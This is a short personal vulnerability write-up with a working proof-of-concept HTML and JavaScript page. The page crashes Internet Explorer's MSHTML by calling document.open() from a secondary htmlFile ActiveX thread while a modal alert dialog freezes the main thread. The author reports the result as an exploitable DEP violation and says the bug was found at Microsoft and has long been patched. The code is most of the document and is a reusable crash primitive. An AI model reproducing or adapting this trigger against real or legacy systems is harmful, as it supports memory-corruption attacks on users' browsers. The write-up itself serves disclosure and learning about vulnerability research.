After playing around for a while with timing-based crash patterns, I found that calling document.open() on the main window while a dialog was freezing it produced an exploitable DEP violation. The trick required a helper function I wrote — onFrozen — that detects when the browser’s main thread has stalled and fires a callback at that exact moment.
<script language="JavaScript">
function main()
{
onFrozen(new Function("document.open();"));
iFrame.execScript('alert("Click OK to Crash!");');
}
function onFrozen(callBackFunction)
{
if (!callBackFunction) return alert("No callBackFunction!");
onFrozen.callBackFunction = callBackFunction;
onFrozen.lastTick = onFrozen.tick = 0;
onFrozen.checkTick = function()
{
if (onFrozen.lastTick < onFrozen.tick)
{
onFrozen.lastTick = onFrozen.tick;
}
else
{
onFrozen.thread.write();onFrozen.thread.close();
clearInterval(onFrozen.mainThreadInterval);
onFrozen.callBackFunction();
}
}
onFrozen.updateTick = function()
{
onFrozen.tick++;
}
onFrozen.thread = new ActiveXObject("htmlFile");
onFrozen.thread.write();onFrozen.thread.close();
onFrozen.thread.parentWindow.onFrozen = onFrozen;
onFrozen.mainThreadInterval = setInterval('onFrozen.updateTick()', 100);
onFrozen.thread.parentWindow.setInterval('onFrozen.checkTick()', 300);
}
</script>
<iframe name="iFrame" width="10" height="10"></iframe>
<input type="button" size="50" onclick="main()" value="CrashMe!">
The onFrozen function uses a secondary htmlFile thread to monitor a tick counter. When the main thread stops incrementing (because the dialog has frozen it), the secondary thread fires document.open(). At that point, the browser attempts to handle a document open while a modal dialog holds the message loop, landing in an exploitable DEP violation inside MSHTML. The crash was rated EXPLOITABLE by !msec.exploitable.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.